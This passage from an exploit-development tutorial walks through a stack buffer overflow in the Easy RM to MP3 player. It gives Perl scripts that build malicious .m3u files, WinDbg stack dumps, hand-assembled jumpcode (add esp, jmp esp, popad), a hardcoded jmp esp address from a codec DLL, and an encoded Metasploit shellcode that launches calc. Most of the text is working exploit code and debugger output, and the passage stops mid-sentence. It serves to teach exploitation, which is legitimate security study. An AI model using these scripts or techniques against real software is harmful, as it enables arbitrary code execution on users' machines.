characters in the perl script with the pattern \(and then add 25101 A’s\)

[code]

    my $file= "test1.m3u";
    my $pattern = "Aa0Aa1Aa2Aa3Aa4Aa....g8Bg9Bh0Bh1Bh2B";
    my $junk= "A" x 25101;
    my $eip = "BBBB";
    my $preshellcode = "X" x 54;  #let's pretend this is the only space we have available at ESP
    my $nop = "\x90" x 230;  #added some nops to visually separate our 54 X's from other data in the ESP dump
    
    open($FILE,">$file");
    print $FILE $pattern.$junk.$eip.$preshellcode.$nop;
    close($FILE);
    print "m3u File Created successfully\n";
    
[/code]

[code]

    eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006715
    eip=42424242 esp=000ff730 ebp=003440c0 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    Missing image name, possible paged-out or corrupt data.
    Missing image name, possible paged-out or corrupt data.
    Missing image name, possible paged-out or corrupt data.
    <Unloaded_P32.dll>+0x42424231:
    42424242 ??              ???
    0:000> d esp
    000ff730  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
    000ff740  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
    000ff750  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
    000ff760  58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90  XX..............
    000ff770  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff780  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff790  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff7a0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    0:000> d
    000ff7b0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff7c0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff7d0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff7e0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff7f0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff800  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff810  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff820  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    0:000> d
    000ff830  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff840  90 90 90 90 90 90 90 90-00 35 41 69 36 41 69 37  .........5Ai6Ai7
    000ff850  41 69 38 41 69 39 41 6a-30 41 6a 31 41 6a 32 41  Ai8Ai9Aj0Aj1Aj2A
    000ff860  6a 33 41 6a 34 41 6a 35-41 6a 36 41 6a 37 41 6a  j3Aj4Aj5Aj6Aj7Aj
    000ff870  38 41 6a 39 41 6b 30 41-6b 31 41 6b 32 41 6b 33  8Aj9Ak0Ak1Ak2Ak3
    000ff880  41 6b 34 41 6b 35 41 6b-36 41 6b 37 41 6b 38 41  Ak4Ak5Ak6Ak7Ak8A
    000ff890  6b 39 41 6c 30 41 6c 31-41 6c 32 41 6c 33 41 6c  k9Al0Al1Al2Al3Al
    000ff8a0  34 41 6c 35 41 6c 36 41-6c 37 41 6c 38 41 6c 39  4Al5Al6Al7Al8Al9
    
[/code]

What we see at 000ff849 is definitely part of the pattern. The first 4
characters are 5Ai6

<img src='img/Temp2_2945.png' width='275' height='150' alt='image' />

Using metasploit pattern\_offset utility, we see that these 4 characters are
at offset 257. So instead of putting 26094 A’s in the file, we’ll put 257 A’s,
then our shellcode, and fill up the rest of the 26094 characters with A’s
again. Or even better, we’ll start with only 250 A’s, then 50 NOP’s, then our
shellcode, and then fill up the rest with A’s. That way, we don’t have to be
very specific when jumping... If we can land in the NOP’s before the
shellcode, it will work just fine.

Let’s see how the script and stack look like when we set this up :

[code]

    my $file= "test1.m3u";
    my $buffersize = 26094;
    
    my $junk= "A" x 250;
    my $nop = "\x90" x 50;
    my $shellcode = "\xcc";
    
    my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
    
    my $eip = "BBBB";
    my $preshellcode = "X" x 54;  #let's pretend this is the only space we have available
    my $nop2 = "\x90" x 230;  #added some nops to visually separate our 54 X's from other data
    
    my $buffer = $junk.$nop.$shellcode.$restofbuffer;
    
    print "Size of buffer : ".length($buffer)."\n";
    
    open($FILE,">$file");
    print $FILE $buffer.$eip.$preshellcode.$nop2;
    close($FILE);
    print "m3u File Created successfully\n";
    
[/code]

When the application dies, we can see our 50 NOPs starting at 000ff848,
followed by the shellcode \(0x90 at 000ff874\), and then again followed by the
A’s. Ok, that looks fine.

[code]

    (188.c98): Access violation - code c0000005 (!!! second chance !!!)
    eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006715
    eip=42424242 esp=000ff730 ebp=003440c0 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    Missing image name, possible paged-out or corrupt data.
    Missing image name, possible paged-out or corrupt data.
    Missing image name, possible paged-out or corrupt data.
    <Unloaded_P32.dll>+0x42424231:
    42424242 ??              ???
    0:000> d esp
    000ff730  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
    000ff740  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
    000ff750  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
    000ff760  58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90  XX..............
    000ff770  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff780  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff790  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff7a0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    0:000> d
    000ff7b0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff7c0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff7d0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff7e0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff7f0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff800  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff810  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff820  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    0:000> d
    000ff830  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff840  90 90 90 90 90 90 90 90-00 90 90 90 90 90 90 90  ................
    000ff850  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff860  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff870  90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41  .....AAAAAAAAAAA
    000ff880  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff890  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff8a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    
[/code]

The second thing we need to do is build our jumpcode that needs to be placed
at ESP. The goal of the jumpcode is to jump to ESP+281

Writing jump code is as easy as writing down the required statements in
assembly and then translating them to opcode \(making sure that we don’t have
any null bytes or other restricted characters at the same time\) :-\)

Jumping to ESP+281 would require : Add 281 to the ESP register, and then
perform jump esp. 281 = 119h. Don’t try to add everything in one shot, or you
may end up with opcode that contains null bytes.

Since we have some flexibility \(due to the NOP’s before our shellcode\), we
don’t have to be very precise either. As long as we add 281 \(or more\), it
will work. We have 50 bytes for our jumpcode, but that should not be a
problem.

Let’s add 0x5e \(94\) to esp, 3 times. Then do the jump to esp. The assembly
commands are :

  * add esp,0x5e
  * add esp,0x5e
  * add esp,0x5e
  * jmp esp

Using windbg, we can get the opcode :

[code]

    0:014> a
    7c901211 add esp,0x5e
    add esp,0x5e
    7c901214 add esp,0x5e
    add esp,0x5e
    7c901217 add esp,0x5e
    add esp,0x5e
    7c90121a jmp esp
    jmp esp
    7c90121c 
    
    0:014> u 7c901211
    ntdll!DbgBreakPoint+0x3:
    7c901211 83c45e          add     esp,5Eh
    7c901214 83c45e          add     esp,5Eh
    7c901217 83c45e          add     esp,5Eh
    7c90121a ffe4            jmp     esp
    
[/code]

Ok, so the opcode for the entire jumpcode is
0x83,0xc4,0x5e,0x83,0xc4,0x5e,0x83,0xc4,0x5e,0xff,0xe4

[code]

    my $file= "test1.m3u";
    my $buffersize = 26094;
    
    my $junk= "A" x 250;
    my $nop = "\x90" x 50;
    my $shellcode = "\xcc";  #position 300
    
    my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
    
    my $eip = "BBBB";
    my $preshellcode = "X" x 4;
    my $jumpcode = "\x83\xc4\x5e" .   #add esp,0x5e
       "\x83\xc4\x5e" .               #add esp,0x5e
       "\x83\xc4\x5e" .               #add esp,0x5e
       "\xff\xe4";                    #jmp esp
    
    my $nop2 = "0x90" x 10;   # only used to visually separate
    
    my $buffer = $junk.$nop.$shellcode.$restofbuffer;
    
    print "Size of buffer : ".length($buffer)."\n";
    
    open($FILE,">$file");
    print $FILE $buffer.$eip.$preshellcode.$jumpcode;
    close($FILE);
    print "m3u File Created successfully\n";
    
[/code]

The jumpcode is perfectly placed at ESP. When the shellcode is called, ESP
would point into the NOPs \(between 00ff842 and 000ff873\). Shellcode starts
at 000ff874

[code]

    (45c.f60): Access violation - code c0000005 (!!! second chance !!!)
    eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006608
    eip=42424242 esp=000ff730 ebp=003440c0 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    Missing image name, possible paged-out or corrupt data.
    Missing image name, possible paged-out or corrupt data.
    Missing image name, possible paged-out or corrupt data.
    <Unloaded_P32.dll>+0x42424231:
    42424242 ??              ???
    0:000> d esp
    000ff730  83 c4 5e 83 c4 5e 83 c4-5e ff e4 00 01 00 00 00  ..^..^..^.......
    000ff740  30 f7 0f 00 00 00 00 00-41 41 41 41 41 41 41 41  0.......AAAAAAAA
    000ff750  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff760  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff770  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff780  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff790  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff7a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    0:000> d
    000ff7b0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff7c0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff7d0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff7e0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff7f0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff800  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff810  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff820  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    0:000> d
    000ff830  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff840  41 41 90 90 90 90 90 90-90 90 90 90 90 90 90 90  AA..............
    000ff850  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff860  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff870  90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41  .....AAAAAAAAAAA
    000ff880  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff890  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    
[/code]

The last thing we need to do is overwrite EIP with a “jmp esp”. From part 1 of
the tutorial, we know that this can be achieved via address 0x01ccf23a

What will happen when the overflow occurs ?

  * Real shellcode will be placed in the first part of the string that is sent, and will end up at ESP+300. The real shellcode is prepended with NOP’s to allow the jump to be off a little bit
  * EIP will be overwritten with 0x01ccf23a \(points to a dll, run “JMP ESP”\)
  * The data after overwriting EIP will be overwritten with jump code that adds 282 to ESP and then jumps to that address.
  * After the payload is sent, EIP will jump to esp. This will triggger the jump code to jump to ESP+282. Nop sled, and shellcode gets executed.

Let’s try with a break as real shellcode :

[code]

    my $file= "test1.m3u";
    my $buffersize = 26094;
    
    my $junk= "A" x 250;
    my $nop = "\x90" x 50;
    my $shellcode = "\xcc";  #position 300
    
    my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
    
    my $eip = pack('V',0x01ccf23a);  #jmp esp from MSRMCcodec02.dll
    
    my $preshellcode = "X" x 4;
    my $jumpcode = "\x83\xc4\x5e" .   #add esp,0x5e
       "\x83\xc4\x5e" .               #add esp,0x5e
       "\x83\xc4\x5e" .               #add esp,0x5e
       "\xff\xe4";                    #jmp esp
    
    my $buffer = $junk.$nop.$shellcode.$restofbuffer;
    
    print "Size of buffer : ".length($buffer)."\n";
    
    open($FILE,">$file");
    print $FILE $buffer.$eip.$preshellcode.$jumpcode;
    close($FILE);
    print "m3u File Created successfully\n";
    
[/code]

The generated m3u file will bring us right at our shellcode \(which is a
break\). \(EIP = 0x000ff874 = begin of shellcode \)

[code]

    (d5c.c64): Break instruction exception - code 80000003 (!!! second chance !!!)
    eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006608
    eip=**000ff874** esp=000ff84a ebp=003440c0 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
    Missing image name, possible paged-out or corrupt data.
    Missing image name, possible paged-out or corrupt data.
    Missing image name, possible paged-out or corrupt data.
    <Unloaded_P32.dll>+0xff863:
    000ff874 cc              int     3
    0:000> d esp
    000ff84a  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff85a  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff86a  90 90 90 90 90 90 90 90-90 90 **cc** 41 41 41 41 41  ...........AAAAA
    000ff87a  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff88a  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff89a  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff8aa  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff8ba  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    
[/code]

Replace the break with some real shellcode \(and replace the A’s with NOPs\)…
\(shellcode : excluded characters 0x00, 0xff, 0xac, 0xca\)

When you replace the A’s with NOPs, you’ll have more space to jump into, so we
can live with jumpcode that only jumps 188 positions further \(2 times 5e\)

[code]

    my $file= "test1.m3u";
    my $buffersize = 26094;
    
    my $junk= "\x90" x 200;
    my $nop = "\x90" x 50;
    
    # windows/exec - 303 bytes
    # http://www.metasploit.com
    # Encoder: x86/alpha_upper
    # EXITFUNC=seh, CMD=calc
    my $shellcode = "\x89\xe2\xd9\xeb\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49" .
    "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
    "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
    "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
    "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d" .
    "\x38\x51\x54\x45\x50\x43\x30\x45\x50\x4c\x4b\x51\x55\x47" .
    "\x4c\x4c\x4b\x43\x4c\x44\x45\x43\x48\x43\x31\x4a\x4f\x4c" .
    "\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x45\x51\x4a" .
    "\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x46" .
    "\x51\x49\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x44\x34\x45" .
    "\x57\x49\x51\x49\x5a\x44\x4d\x45\x51\x48\x42\x4a\x4b\x4c" .
    "\x34\x47\x4b\x50\x54\x51\x34\x45\x54\x44\x35\x4d\x35\x4c" .
    "\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
    "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
    "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4b\x39\x51\x4c\x46" .
    "\x44\x45\x54\x48\x43\x51\x4f\x46\x51\x4c\x36\x43\x50\x50" .
    "\x56\x43\x54\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
    "\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x44" .
    "\x48\x4d\x59\x4c\x38\x4d\x53\x49\x50\x42\x4a\x46\x30\x45" .
    "\x38\x4c\x30\x4c\x4a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b" .
    "\x4e\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x42\x43\x43" .
    "\x51\x42\x4c\x45\x33\x45\x50\x41\x41";
    
    my $restofbuffer = "\x90" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
    
    my $eip = pack('V',0x01ccf23a);  #jmp esp from MSRMCcodec02.dll
    
    my $preshellcode = "X" x 4; 
    
    my $jumpcode = "\x83\xc4\x5e" .   #add esp,0x5e
       "\x83\xc4\x5e" .               #add esp,0x5e
       "\xff\xe4";                    #jmp esp
    
    my $nop2 = "0x90" x 10;   # only used to visually separate
    
    my $buffer = $junk.$nop.$shellcode.$restofbuffer;
    
    print "Size of buffer : ".length($buffer)."\n";
    
    open($FILE,">$file");
    print $FILE $buffer.$eip.$preshellcode.$jumpcode;
    close($FILE);
    print "m3u File Created successfully\n";
    
[/code]

<img src='img/Temp2_2949.png' width='302' height='192' alt='image' />

pwned again :-\)

### Some other ways to jump

  * popad
  * hardcode address to jump to

the “** _popap_** ” instruction may help us ‘jumping’ to our shellcode as
well. popad \(pop all double\) will pop double words from the stack \(ESP\)
into the general-purpose registers, in one action. The registers are loaded in
the following order : EDI, ESI, EBP, EBX, EDX, ECX and EAX. As a result, the
ESP register is incremented after each register is loaded \(triggered by the
popad\). One popad will thus take 32 bytes from ESP and pops them in the
registers in an orderly fashion.

The popad opcode is 0x61

So suppose you need to jump 40 bytes, and you only have a couple of bytes to
make the jump, you can issue 2 popad’s to point ESP to the shellcode \(which
starts with NOPs to make up for the \(2 times 32 bytes - 40 bytes of space
that we need to jump over\)\)

Let’s use the Easy RM to MP3 vulnerability again to demonstrate this technique
:

We’ll reuse one of the script example from earlier in this post, and we’ll
build a fake buffer that will put 13 X’s at ESP, then we’ll pretend there is
some garbage \(D’s and A’s\) and then place to put our shellcode \(NOPS +
A’s\)

[code]

    my $file= "test1.m3u";
    my $buffersize = 26094;
    
    my $junk= "A" x 250;
    my $nop = "\x90" x 50;
    my $shellcode = "\xcc";
    
    my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
    
    my $eip = "BBBB";
    my $preshellcode = "X" x 17;  #let's pretend this is the only space we have available
    my $garbage = "\x44" x 100;  #let’s pretend this is the space we need to jump over
    
    my $buffer = $junk.$nop.$shellcode.$restofbuffer;
    
    print "Size of buffer : ".length($buffer)."\n";
    
    open($FILE,">$file");
    print $FILE $buffer.$eip.$preshellcode.$garbage;
    close($FILE);
    print "m3u File Created successfully\n";
    
[/code]

After opening the file in Easy RM to MP3, the application dies, and ESP looks
like this :

[code]

    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000001 ebx=00104a58 ecx=7c91005d edx=003f0000 esi=77c5fce0 edi=0000666d
    eip=42424242 esp=000ff730 ebp=00344158 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
    Missing image name, possible paged-out or corrupt data.
    Missing image name, possible paged-out or corrupt data.
    Missing image name, possible paged-out or corrupt data.
    <Unloaded_P32.dll>+0x42424231:
    42424242 ??              ???
    0:000> d esp
    000ff730  58 58 58 58 58 58 58 58-58 58 58 58 58 44 44 44  XXXXXXXXXXXXXDDD |  => 13 bytes
    000ff740  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD |  => garbage
    000ff750  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD | => garbage
    000ff760  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD | => garbage
    000ff770  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD | => garbage
    000ff780  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD | => garbage
    000ff790  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD | => garbage
    000ff7a0  00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  .AAAAAAAAAAAAAAA | => garbage
    0:000> d
    000ff7b0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
    000ff7c0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
    000ff7d0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
    000ff7e0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
    000ff7f0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
    000ff800  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
    000ff810  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
    000ff820  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
    0:000> d
    000ff830  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
    000ff840  41 41 90 90 90 90 90 90-90 90 90 90 90 90 90 90  AA.............. | => garbage
    000ff850  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................ | => NOPS/Shellcode
    000ff860  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................ | => NOPS/Shellcode
    000ff870  90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41  .....AAAAAAAAAAA | => NOPS/Shellcode
    000ff880  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => NOPS/Shellcode
    000ff890  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => NOPS/Shellcode
    000ff8a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => NOPS/Shellcode
    
[/code]

Let’s pretend that we need to use the 13 X’s \(so 13 bytes\) that are
available directly at ESP to jump over 100 D’s \(44\) and 160 A’s \(so a total
of 260 bytes\) to end up at our shellcode \(starts with NOPs, then a
breakpoint, and then A’s \(=shellcode\)\)

One popad = 32 bytes. So 260 bytes = 9 popad’s \(-28 bytes\)

\(so we need to start our shellcode with nops, or start the shellcode at
\[start of shellcode\]+28 bytes

In our case, we have put some nops before the shellcode, so let’s try to
“popad” into the nops and see if the application breaks at our breakpoint.

First, overwrite EIP again with jmp esp. \(see one of the previous exploit
scripts\)

Then, instead of the X’s, perform 9 popad’s, followed by “jmp esp” opcode
\(0xff,0xe4\)

[code]

    my $file= "test1.m3u";
    my $buffersize = 26094;
    
    my $junk= "A" x 250;
    my $nop = "\x90" x 50;
    my $shellcode = "\xcc";
    
    my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
    
    my $eip = pack('V',0x01ccf23a);  #jmp esp from MSRMCcodec02.dll
    
    my $preshellcode = "X" x 4;  # needed to point ESP at next 13 bytes below
    $preshellcode=$preshellcode."\x61" x 9;  #9 popads
    $preshellcode=$preshellcode."\xff\xe4";  #10th and 11th byte, jmp esp
    $preshellcode=$preshellcode."\x90\x90\x90";  #fill rest with some nops
    
    my $garbage = "\x44" x 100;  #garbage to jump over 
    
[/code]

[code]

    my $buffer = $junk.$nop.$shellcode.$restofbuffer;
    
    print "Size of buffer : ".length($buffer)."\n";
    
    open($FILE,">$file");
    print $FILE $buffer.$eip.$preshellcode.$garbage;
    close($FILE);
    print "m3u File Created successfully\n";
    
[/code]

After opening the file, the application does indeed break at the breakpoint.
EIP and ESP look like this :

[code]

    (f40.5f0): Break instruction exception - code 80000003 (first chance)
    eax=90909090 ebx=90904141 ecx=90909090 edx=90909090 esi=41414141 edi=41414141
    eip=**000ff874** **esp=000ff850** ebp=41414141 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    Missing image name, possible paged-out or corrupt data.
    Missing image name, possible paged-out or corrupt data.
    Missing image name, possible paged-out or corrupt data.
    <Unloaded_P32.dll>+0xff863:
    000ff874 cc              int     3
    0:000> d eip
    000ff874  cc 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  .AAAAAAAAAAAAAAA
    000ff884  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff894  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff8a4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff8b4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff8c4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff8d4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff8e4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    0:000> d eip-32
    000ff842  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff852  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff862  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff872  90 90 cc 41 41 41 41 41-41 41 41 41 41 41 41 41  ...AAAAAAAAAAAAA
    000ff882  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff892  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff8a2  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff8b2  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    **0:000> d esp
    000ff850**  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff860  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff870  90 90 90 90 **cc** 41 41 41-41 41 41 41 41 41 41 41  .....AAAAAAAAAAA
    000ff880  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff890  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff8a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff8b0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff8c0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    
[/code]

=> the popad’s have worked and made esp point at the nops. Then the jump to
esp was made \(0xff 0xe4\), which made EIP jump to nops, and slide to the
breakpoint \(at 000f874\)

Replace the A’s with real shellcode :

<img src='img/Temp2_2948.png' width='406' height='276' alt='image' />

pnwed again \!

Another \(less preferred, but still possible\) way to jump to shellcode is by
using jumpcode that simply jumps to the address \(or an offset of a
register\). Since the addresses/registers could vary during every program
